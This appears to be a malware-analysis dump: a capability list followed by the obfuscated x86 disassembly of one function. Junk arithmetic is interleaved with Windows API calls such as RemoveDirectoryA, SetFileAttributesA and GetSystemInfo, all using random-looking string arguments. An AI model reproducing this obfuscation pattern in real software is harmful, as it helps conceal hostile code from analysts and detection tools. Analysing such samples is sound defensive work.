Function at 0x4067f3
Capabilities:
Delete directory
Get disk information
Get system information on windows
Get thread local storage value
Parse pe header
Query environment variable
Set current directory
Set file attributes

Disassembly:
xor eax, ebx
or dword [0x40f15a], esi
adc ebx, eax
adc edi, dword [0x40f07d]
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x407235
or dword [0x40f0de], esi
sub eax, dword [0x40f197]
add esi, ebx
add dword [0x40f119], esi
sub ch, ch
add ch, bh
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
add dword [0x40f0c9], esi
xor edx, edx
add edx, 0x52
adc al, bh
xor dword [0x40f1e4], 0xd5
adc esi, dword [0x40f025]
jmp 0x405887
sub ecx, ecx
adc ecx, dword [0x40f1fd]
adc ecx, eax
adc edi, dword [0x40f076]
adc bl, byte [0x40f1e4]
lea ebx, [0x40f46c]
push dword [ebx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
or dword [0x40f1a8], edi
add dword [0x40f18a], edi
sub byte [0x40f172], 0x84
adc dword [0x40f18a], 0x40
add dword [0x40f01f], edi
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
sbb dword [0x40f0e3], ebx
sbb dword [0x40f1fa], 0x3b
adc eax, dword [0x40f0f1]
add esi, 0x16
adc dword [0x40f1b2], 0xe4
jmp 0x4058e3
sub eax, ebx
xor edx, edx
adc edx, dword [0x40f058]
add eax, 9
xor ecx, ecx
adc ecx, dword [0x40f0f9]
or dword [0x40f1e0], 0xb7
or dword [0x40f0f7], 0xc4
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x407235
sub edx, edx
add edx, 0xffffffa2
and eax, 0x74
xor dword [0x40f0f0], ebx
xor ebx, eax
jmp 0x4052db
sub ecx, ecx
add ecx, ebx
sub eax, eax
sub esi, 0xf
adc esi, dword [0x40f15a]
add eax, eax
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sub cl, cl
add cl, al
sbb dword [0x40f15e], ecx
or edi, dword [0x40f0fe]
xor edx, edx
add edx, 0xffffffb8
sbb ebx, eax
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
adc dword [0x40f1f2], edi
adc eax, esi
xor ecx, ecx
adc ecx, dword [0x40f101]
adc byte [0x40f196], ch
and dword [0x40f037], 0x1c
jmp 0x40d689
add ebx, eax
xor ecx, ecx
add ecx, 0x62
and dword [0x40f1a3], ecx
or ch, byte [0x40f1bb]
or dword [0x40f1df], 0x92
sbb ch, ah
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor edx, edx
adc edx, dword [0x40f029]
adc edi, dword [0x40f06b]
add dword [0x40f10d], eax
and dword [0x40f06b], 0xc0
or dword [0x40f14c], ebx
add dword [0x40f017], eax
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x407235
sbb dword [0x40f14c], 0xda
xor ecx, ecx
add ecx, 0x78
xor ecx, esi
adc dword [0x40f0b2], 0x3b
jmp 0x40de4c
xor edx, edx
adc edx, dword [0x40f1c6]
and dword [0x40f183], ebx
sub dword [0x40f123], ebx
xor dword [0x40f08e], esi
adc eax, ebx
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sub edi, eax
add eax, edi
xor edx, edx
add edx, ebx
adc edi, 0
lea ecx, [0x40f492]
push dword [ecx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x407235
sub esi, 0xffffff9d
sub dword [0x40f07e], eax
sub bh, al
adc dword [0x40f19b], 0x30
sub dword [0x40f03d], esi
jmp 0x40d4dc
or edi, dword [0x40f1c5]
sbb dword [0x40f1c5], esi
add eax, esi
adc esi, dword [0x40f180]
add esi, eax
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
xor dword [0x40f1ad], 0x77
add dword [0x40f062], ebx
xor dword [0x40f176], 0xf8
sub ebx, dword [0x40f03f]
add dword [0x40f18c], edi
or dword [0x40f084], 0xdc
jmp 0x40bdf5
xor dh, dh
add dh, 0x2b
and dword [0x40f05f], ebx
sub ecx, ecx
add ecx, esi
and edi, 0xffffffba
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
xor ecx, ecx
add ecx, edi
add dword [0x40f0ae], edi
adc ebx, ebx
and edi, 0x43
add ch, 0x66
jmp 0x40adc8
sub edx, edx
adc edx, dword [0x40f159]
xor dword [0x40f149], 0xcf
or al, 0xbf
xor dword [0x40f129], 0x7b
and byte [0x40f0eb], dl
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x407235
or ebx, 0xffffffb3
or eax, 0x52
sub ebx, edi
sub byte [0x40f0c2], 0xc6
adc ah, bl
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
or ebx, 0x5c
xor ebx, ebx
adc ah, byte [0x40f172]
xor edx, edx
add edx, ebx
jmp 0x40cac1
or edi, dword [0x40f0ee]
adc ah, byte [0x40f0cf]
add eax, eax
and byte [0x40f03d], al
sbb dword [0x40f086], 0xb6
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x407235
add edi, 0xffffffc5
adc bh, byte [0x40f0e3]
and eax, 0x5b
sub esi, 0xffffffd7
adc edi, edi
push 0x1c
push 0x40f4de
lea esi, [0x40f4da]
push dword [esi]
call dword [sym.imp.kernel32.dll_VirtualQuery]
xor edx, edx
add edx, 0xffffffb8
mov dword [0x40f001], 0x80
add dword [0x40f0b2], eax
or dword [0x40f0f1], 0xa3
jmp 0x408169
add bl, 0x6c
sbb dword [0x40f1df], 0x10
sub edx, edx
add edx, edi
add dword [0x40f049], eax
add byte [0x40f15a], bh
or dword [0x40f102], 0x3d
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
adc eax, dword [0x40f033]
adc byte [0x40f003], bh
sub eax, edi
xor eax, ebx
adc eax, dword [0x40f1c3]
lea ecx, [0x40f46c]
push dword [ecx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
adc eax, dword [0x40f147]
or dword [0x40f1f1], 0x23
and dword [0x40f04f], 0x6e
sbb dword [0x40f124], eax
jmp 0x408ee0
or edi, dword [0x40f196]
add dword [0x40f19d], ebx
add eax, ebx
or ebx, 0xffffffd6
mov dword [0x40f0a0], 0x1d
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor dword [0x40f039], 0x69
sbb byte [0x40f0d3], bl
xor dword [0x40f1d9], 0x9b
sub cl, cl
add cl, bl
adc esi, dword [0x40f02d]
push 0x1c
push 0x40f4de
lea eax, [0x40f4da]
push dword [eax]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sub dword [0x40f1a0], eax
adc ebx, dword [0x40f057]
adc dword [0x40f135], 0x9f
sub edx, edx
add edx, 0x4f
add esi, 0xffffffbf
adc ebx, 0x57
jmp 0x40d835
or edi, dword [0x40f10e]
adc bl, ah
add esi, edi
sbb edi, 0x5f
push 0x1c
push 0x40f4de
lea ecx, [0x40f4da]
push dword [ecx]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sub edx, edx
adc edx, dword [0x40f131]
or al, 0x7d
add edi, eax
sub eax, 0xffffff9f
adc edx, 0xffffff9c
jmp 0x40a41c
xor ecx, ecx
add ecx, 0x6e
or ah, byte [0x40f119]
mov dword [0x40f134], 0x72
xor dword [0x40f196], ecx
mov dword [0x40f03d], 0xa3
lea edx, [0x40f46c]
push dword [edx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
xor eax, 0x3c
sub edx, edx
add edx, 0x42
xor esi, esi
and dword [0x40f1f3], 0xbe
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
sbb bh, bh
xor edi, 3
add ebx, esi
mov dword [0x40f10d], 0x73
add ebx, ebx
adc eax, 0xffffffb5
jmp 0x40580f
adc ah, 0xb5
or dword [0x40f117], eax
and dword [0x40f078], 0x1d
sub edi, 0x4e
adc ebx, dword [0x40f11b]
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
add edi, 0x2f
add byte [0x40f09d], ah
and dword [0x40f0db], esi
add eax, esi
sbb edi, 0xffffffe7
sub ecx, ecx
add ecx, esi
push 0x1c
push 0x40f4de
lea ecx, [0x40f4da]
push dword [ecx]
call dword [sym.imp.kernel32.dll_VirtualQuery]
add ebx, eax
and dword [0x40f10f], ebx
sbb edi, eax
add edi, 0x55
jmp 0x406b39
sub ah, 0x5a
and ebx, 2
add edi, edi
adc byte [0x40f052], bl
sub edx, edx
add edx, 0x16
adc dword [0x40f041], 0xd4
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
add dword [0x40f11c], ebx
xor dword [0x40f0ba], eax
add edi, eax
adc eax, 0x2e
jmp 0x409ca2
sub dh, dh
add dh, 0x7c
xor ecx, ecx
add ecx, 0xffffff83
add ebx, 0xfffffffe
mov dword [0x40f15a], 0xe2
xor ebx, 0x76
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
adc eax, eax
adc edi, dword [0x40f193]
adc esi, dword [0x40f1e3]
sub ecx, ecx
add ecx, 0x71
jmp 0x4078b1
and dword [section..data], 0x75
sub ecx, ecx
add ecx, ebx
sub edx, edx
adc edx, dword [0x40f0c1]
sub ch, byte [0x40f0dc]
adc dword [0x40f019], 0x6c
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x407235
xor dl, dl
add dl, 0x37
adc al, byte [0x40f005]
and byte [0x40f014], ah
sbb edi, esi
sub ecx, ecx
add ecx, edi
adc ecx, edi
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
xor dword [0x40f144], edi
and edi, 0x73
sub cl, cl
add cl, ah
sub edx, edx
add edx, 0xffffffbe
sub byte [0x40f1f9], 0xd9
jmp 0x408fec
sbb dword [0x40f1e2], 0xdb
sbb ebx, 0xffffffdf
or edi, 0xffffffb4
xor eax, 0xffffffaf
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
sub dl, dl
add dl, 0x6a
adc dh, byte [0x40f0ee]
add edi, 0x75
add edx, ebx
jmp 0x40db99
sub dword [0x40f1c1], esi
sub esi, ebx
xor dl, dl
add dl, 0xd3
or dword [0x40f112], esi
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
or edi, dword [0x40f015]
adc esi, dword [0x40f121]
add eax, 0xffffffa6
xor edx, edx
add edx, 0x5d
xor edx, 0xffffffe3
and eax, 0x72
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sub ah, bh
add dword [0x40f143], eax
xor byte [0x40f028], bl
adc dword [0x40f0c7], 0x1b
adc dword [0x40f1ec], 0x42
and dword [0x40f120], eax
jmp 0x40e315
xor bh, bh
sub edx, edx
add edx, 0x48
or dl, byte [0x40f10d]
add eax, esi
add edi, ebx
add ebx, eax
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x407235
sub edx, edx
add edx, 0xffffffe3
add esi, 0xfffffff0
sub byte [0x40f1e5], dl
adc edi, dword [0x40f1f6]
adc dh, byte [0x40f130]
push 0x1c
push 0x40f4de
lea eax, [0x40f4da]
push dword [eax]
call dword [sym.imp.kernel32.dll_VirtualQuery]
adc eax, 0xffffff97
sbb dword [0x40f022], 0xda
adc ah, byte [0x40f17e]
adc esi, dword [0x40f0ad]
sub byte [0x40f110], 0xa8
and ah, 0x1b
jmp 0x40ded7
adc eax, dword [0x40f078]
adc dword [0x40f1f0], 0xa1
sub ecx, ecx
adc ecx, dword [0x40f16c]
or dword [0x40f0a6], 0xc1
adc dword [0x40f056], ecx
add dword [0x40f04b], eax
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
xor dword [0x40f059], eax
adc edi, ebx
sbb dword [0x40f1a7], 0xac
adc ebx, dword [0x40f14d]
xor ecx, ecx
adc ecx, dword [0x40f010]
jmp 0x40982e
add ebx, 0x47
sub ecx, ecx
adc ecx, dword [0x40f0c8]
adc al, byte [0x40f029]
mov dword [0x40f0b2], 0x8c
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x407235
or dword [0x40f0cb], eax
sub edx, edx
add edx, 0xffffffa9
xor ecx, ecx
add ecx, 0x1c
adc edx, dword [0x40f004]
and dword [0x40f1a6], edx
jmp 0x407235
pushal
mov dword [0x40f017], 0xb6
xor esi, esi
adc esi, dword [0x40f037]
add esi, 0xffffffad
and dword [0x40f122], esi
push ebp
mov ebp, esp
add esp, 0xffffffa0
xor ecx, ecx
adc ecx, dword [0x40f00b]
sbb esi, esi
xor dword [0x40f057], 0xde
sub edi, edi
add edi, ecx
or dword [0x40f17c], 0x14
sub eax, eax
add eax, 0x54
and esi, 0x74
add dword [0x40f00a], edi
and dword [0x40f032], eax
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x40a7fa
sbb edi, edi
sub edx, edx
adc edx, dword [0x40f172]
or ah, byte [0x40f042]
and edx, 0xffffffe2
sbb eax, esi
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
adc dword [0x40f1ea], esi
add byte [0x40f045], ah
or dword [0x40f154], 0xe4
xor ecx, ecx
add ecx, 0x6c
jmp 0x409bbd
sub edx, edx
adc edx, dword [0x40f176]
add esi, edx
adc dword [0x40f133], 0x89
adc dword [0x40f105], 0xdd
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
add ebx, 0x17
add esi, edi
or dword [0x40f1c8], 0x77
and dword [0x40f027], edi
xor edx, edx
add edx, 0x20
sub byte [0x40f15d], 0x5a
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
sub edx, edx
adc edx, dword [0x40f11f]
sbb edi, ebx
adc dword [0x40f033], 0x36
adc dword [0x40f09d], 0x72
sbb esi, 0xffffffcf
or dh, byte [0x40f076]
jmp 0x406bbe
and dword [0x40f1b7], 0x1b
sub ecx, ecx
add ecx, eax
sub esi, dword [0x40f170]
or al, byte [0x40f164]
adc dword [0x40f18a], ebx
xor edx, edx
add edx, 0x66
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x407235
xor edx, edx
add edx, eax
sbb dword [0x40f15d], 0xef
sub esi, dword [0x40f024]
xor al, ah
xor ecx, ecx
add ecx, edx
jmp 0x40ba69
and dword [0x40f10e], edi
adc dword [0x40f0b3], 0xa7
sub bh, byte [0x40f0c9]
sub edx, edx
add edx, 0x3a
add ebx, esi
push 0x1c
push 0x40f4de
lea edi, [0x40f4da]
push dword [edi]
call dword [sym.imp.kernel32.dll_VirtualQuery]
xor dword [0x40f0b8], 0x17
mov dword [0x40f029], 0x21
xor dword [0x40f024], 0x88
adc eax, dword [0x40f0be]
add dword [0x40f0dc], esi
add dword [0x40f157], eax
jmp 0x407235
sub edx, edx
add edx, eax
add edx, 0x20
sbb edi, edx
add ebx, 0xa
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
or ebx, 0xffffff86
add esi, ebx
sub ah, byte [0x40f023]
or bh, byte [0x40f109]
mov dword [0x40f05b], 0xc5
sbb esi, 0xffffffad
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x407235
add byte [0x40f001], bl
add eax, edi
adc eax, 0xffffffd0
adc esi, dword [0x40f061]
add bl, bh
sbb dword [0x40f00b], eax
jmp 0x4091c5
add esi, 0xffffffff
and ah, 0x4a
sub ecx, ecx
add ecx, ebx
adc cl, bh
adc al, byte [0x40f1d3]
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
adc edi, dword [0x40f1e6]
xor ecx, ecx
adc ecx, dword [0x40f10b]
or esi, 0x1c
xor edx, edx
add edx, 0xffffffb2
xor ecx, 0x38
sbb dword [0x40f08c], 8
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
add edi, 0x37
sbb al, ah
sbb eax, 0x17
sbb dword [0x40f0fa], edi
sub eax, dword [0x40f0e1]
jmp 0x407235
or dword [0x40f1ef], 0xf4
xor ecx, ecx
adc ecx, dword [0x40f1f5]
sub eax, eax
add dword [0x40f13e], edi
add ebx, esi
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sub ecx, ecx
add ecx, 0xffffffe9
sbb dword [0x40f16f], 0x81
xor esi, 0x26
and dword [0x40f004], 0x98
jmp 0x40a053
xor ebx, ebx
adc dword [0x40f166], eax
sub edx, edx
adc edx, dword [0x40f1b4]
and dword [0x40f012], 0xd2
add dword [0x40f106], edx
sub ecx, ecx
adc ecx, dword [0x40f166]
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
xor dword [0x40f106], edi
adc ebx, ebx
sub dword [0x40f02d], esi
sbb dword [0x40f1d0], 0x96
sub edx, edx
adc edx, dword [0x40f012]
sub edi, 0xffffffa9
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
or dword [0x40f09d], 0x46
sbb dword [0x40f169], eax
and esi, 0xffffff89
sub edx, edx
add edx, 0x7e
adc byte [0x40f026], dl
jmp 0x407235
add ebx, ebx
xor edi, ebx
xor ecx, ecx
adc ecx, dword [0x40f1ee]
xor dword [0x40f1ab], esi
xor esi, ebx
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
sbb byte [0x40f069], bh
xor edx, edx
add edx, ebx
sbb edi, ebx
add edi, ebx
jmp 0x405fac
sub edx, edx
add edx, 0x74
xor ecx, ecx
adc ecx, dword [0x40f15b]
adc edi, dword [0x40f1bf]
add edi, ebx
xor dword [0x40f1cc], 0xa6
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x407235
adc edi, dword [0x40f0ef]
sbb dword [0x40f01b], eax
sub cl, cl
add cl, ah
sub ah, byte [0x40f137]
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
or dword [0x40f195], 0xa9
adc dword [0x40f0d0], 0xc1
adc dword [0x40f107], edi
xor ecx, ecx
adc ecx, dword [0x40f05f]
and dword [0x40f156], 0x1f
jmp 0x409b59
xor ecx, ecx
add ecx, esi
xor dh, dh
add dh, 0xaf
sbb ecx, edx
sbb byte [0x40f16d], ch
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
or dword [0x40f163], eax
add edi, 0
sub al, byte [0x40f19e]
adc bl, byte [0x40f0f8]
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
or bh, byte [0x40f0b1]
or dword [0x40f04b], eax
sub esi, 0x42
xor ecx, ecx
add ecx, edi
sbb ebx, 0x79
sub esi, ebx
jmp 0x407235
xor ebx, 0xffffffec
or dword [0x40f014], ebx
adc dword [0x40f1d1], eax
adc eax, dword [0x40f015]
sub dword [0x40f0ad], ebx
lea eax, [0x40f46c]
push dword [eax]
call dword [sym.imp.kernel32.dll_TlsGetValue]
sbb dword [0x40f034], 0x6c
adc ebx, 0xffffffab
and dword [0x40f0a1], 0x64
xor ebx, ebx
xor dword [0x40f150], 0xff
xor ecx, ecx
adc ecx, dword [0x40f197]
lea ebx, [0x40f492]
push dword [ebx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x407235
adc bl, byte [0x40f1df]
xor ecx, ecx
add ecx, ebx
mov dword [0x40f1ce], 0x99
sub bh, 0xbb
add dword [0x40f1ea], edi
sub eax, eax
jmp 0x40865d
mov esp, ebp
pop ebp
popal
ret
add byte [0x40f04a], bh
xor dword [0x40f193], 0xb6
or byte [0x40f1f4], al
add edi, 0xffffffd7
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x4096ad
and dword [0x40f133], 0xb9
add ebx, eax
add dword [0x40f067], eax
adc eax, 0x2f
adc dword [0x40f04f], esi
sub dword [0x40f07a], esi
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
adc edi, eax
sub dh, dh
add dh, 0x98
sub dword [0x40f0fd], esi
adc ebx, ebx
adc eax, dword [0x40f04a]
jmp 0x409253
sub byte [0x40f190], 0x23
sbb dword [0x40f191], 0x31
sub edx, edx
adc edx, dword [0x40f0eb]
sub edx, ebx
adc dword [0x40f07c], 0x21
lea edi, [0x40f46c]
push dword [edi]
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub byte [0x40f042], 0x99
sub ecx, ecx
add ecx, esi
xor edx, edx
adc edx, dword [0x40f109]
sbb edx, ebx
jmp 0x405682
sbb edi, eax
adc dword [0x40f131], 0x53
and dword [0x40f1db], 0x89
or dword [0x40f15c], eax
xor esi, ebx
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x409e41
sbb dword [0x40f0f3], 0x83
add dword [0x40f120], edi
sub edx, edx
add edx, ebx
or edi, dword [0x40f034]
xor dword [0x40f052], eax
push 0x1c
push 0x40f4de
lea ebx, [0x40f4da]
push dword [ebx]
call dword [sym.imp.kernel32.dll_VirtualQuery]
adc edi, dword [0x40f111]
adc edi, dword [0x40f1cc]
add ah, bh
xor dword [0x40f031], 0x9b
mov dword [0x40f15f], 0xb4
add edi, eax
jmp 0x4060fc
xor esi, 0xffffffbe
mov dword [0x40f1f1], 0xe5
add dword [0x40f07d], esi
sbb byte [0x40f1bd], ah
add edi, edi
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x407235
sbb dword [0x40f0d3], eax
sbb eax, 0x23
add dword [0x40f090], ebx
or esi, 0xffffff9d
add byte [0x40f1cc], al
add ebx, eax
jmp 0x40a75e
add edi, 0xffffffd2
sub dword [0x40f054], edi
add dword [0x40f137], esi
or esi, dword [0x40f080]
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
adc dword [0x40f18a], ebx
or ebx, 0xffffffdf
sub dh, dh
add dh, al
sub ecx, ecx
add ecx, eax
and ecx, 0
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sbb dword [0x40f171], ebx
and dword [0x40f08c], 0xe4
adc dword [0x40f0ea], 0xf6
add ebx, eax
or dword [0x40f1ac], ebx
sub ecx, ecx
add ecx, 0x73
jmp 0x40b309
and dword [0x40f184], eax
or dword [0x40f098], ebx
add esi, eax
and edi, 0xffffffe2
adc eax, edi
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
sbb dword [0x40f0bf], 0x12
adc dword [0x40f0c6], 0xda
sub dword [0x40f099], ebx
sub eax, dword [0x40f08e]
xor dword [0x40f10a], esi
adc edi, esi
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
xor edx, edx
add edx, 0xffffffae
adc dword [0x40f170], 0xfa
add bh, 0xba
adc bh, byte [0x40f10e]
sub esi, dword [0x40f0f1]
add edi, edx
jmp 0x405f12
sub ecx, ecx
add ecx, esi
xor edx, edx
add edx, ecx
sbb dword [0x40f10c], eax
and dword [0x40f05a], ebx
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
adc dword [0x40f1e0], 0xe3
adc bl, byte [0x40f0db]
or eax, dword [0x40f1d3]
sub esi, dword [0x40f1f0]
adc al, byte [0x40f09c]
add ebx, 0xffffff94
jmp 0x4072a8
sbb ebx, edi
xor edi, ebx
sub edx, edx
add edx, 0x71
sub eax, dword [0x40f006]
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
xor ecx, ecx
add ecx, esi
add eax, ebx
sbb ah, cl
sbb eax, eax
xor ch, al
sbb ebx, 0x6e
jmp 0x4084d7
xor ebx, 0xffffff9f
sbb dword [0x40f181], 0x43
sbb dword [0x40f0a0], esi
adc edi, dword [0x40f184]
sub esi, 0xffffffe2
push 0x1c
push 0x40f4de
lea esi, [0x40f4da]
push dword [esi]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sub dword [0x40f045], esi
or dword [0x40f101], 0x22
xor edx, edx
add edx, 0x4d
add byte [0x40f0c2], dh
sub edi, edx
or ebx, 0x7d
lea edx, [0x40f46c]
push dword [edx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub ecx, ecx
add ecx, 0xffffff82
adc esi, dword [0x40f132]
adc dword [0x40f008], ebx
adc dword [0x40f10d], 0x74
adc esi, dword [0x40f028]
add ebx, 7
jmp 0x40d935
sub dh, dh
add dh, 0x64
or dword [0x40f09a], edx
xor edi, eax
sub eax, eax
xor ecx, ecx
adc ecx, dword [0x40f15e]
lea esi, [0x40f492]
push dword [esi]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x407235
adc eax, dword [0x40f1b5]
adc eax, dword [0x40f19c]
or ebx, 0xffffffed
sub edx, edx
adc edx, dword [0x40f12f]
jmp 0x408cca
xor edi, 0xffffffb1
adc edi, dword [0x40f016]
adc dword [0x40f025], 0x30
add dword [0x40f1fd], esi
or dword [0x40f064], 0x67
adc dword [0x40f036], edi
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x407235
add dword [0x40f0e3], edi
xor dword [0x40f147], 0x30
sbb dword [0x40f081], ebx
mov dword [0x40f194], 0x27
xor edi, edi
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
adc dword [0x40f143], 0x45
sbb dword [0x40f123], ebx
adc eax, esi
xor dword [0x40f0c6], ebx
xor byte [0x40f173], al
jmp 0x40cd0a
and dword [0x40f182], edi
sub edi, ebx
sub cl, cl
add cl, ah
xor dword [0x40f1bd], 0x5f
adc edi, dword [0x40f1d9]
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor ecx, ecx
add ecx, esi
or dword [0x40f178], 0x34
or ebx, 0x3b
mov dword [0x40f035], 0x52
xor esi, ebx
jmp 0x40aa60
or dword [0x40f09e], 0xd9
xor edi, 0x64
add dword [0x40f0ff], edi
sub dword [0x40f1a1], esi
adc ah, byte [0x40f176]
adc ah, byte [0x40f047]
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sub ecx, ecx
add ecx, eax
add eax, 0x66
adc al, byte [0x40f0f4]
or ebx, dword [0x40f1cb]
adc byte [0x40f114], bh
jmp 0x40b181
sub dword [0x40f1ea], eax
xor edx, edx
add edx, 0xffffffe9
xor esi, ebx
or dword [0x40f029], 0x69
sbb edi, 0x64
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
adc eax, 0xffffffb4
add esi, ebx
sub edx, edx
adc edx, dword [0x40f091]
xor ebx, edx
jmp 0x409077
adc ebx, dword [0x40f14b]
sub eax, dword [0x40f1b3]
or eax, dword [0x40f1c2]
and dword [0x40f15a], ebx
sub byte [0x40f14c], 0x5a
or dword [0x40f0d8], 0x73
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x407235
sub byte [0x40f105], 0x21
or dword [0x40f1ac], 0x24
xor edi, esi
or dword [0x40f165], esi
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
and dword [0x40f003], esi
mov dword [0x40f098], 0xfb
xor ebx, 0xfffffff0
add eax, edi
jmp 0x40d46f
and dword [0x40f03c], eax
adc ebx, 0xffffffa1
add edi, 0xffffff97
add ebx, 0xffffff8b
add byte [0x40f023], bh
sub dword [0x40f15e], esi
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x40837c
sub byte [0x40f154], bh
adc edi, edi
xor esi, 0xffffff9a
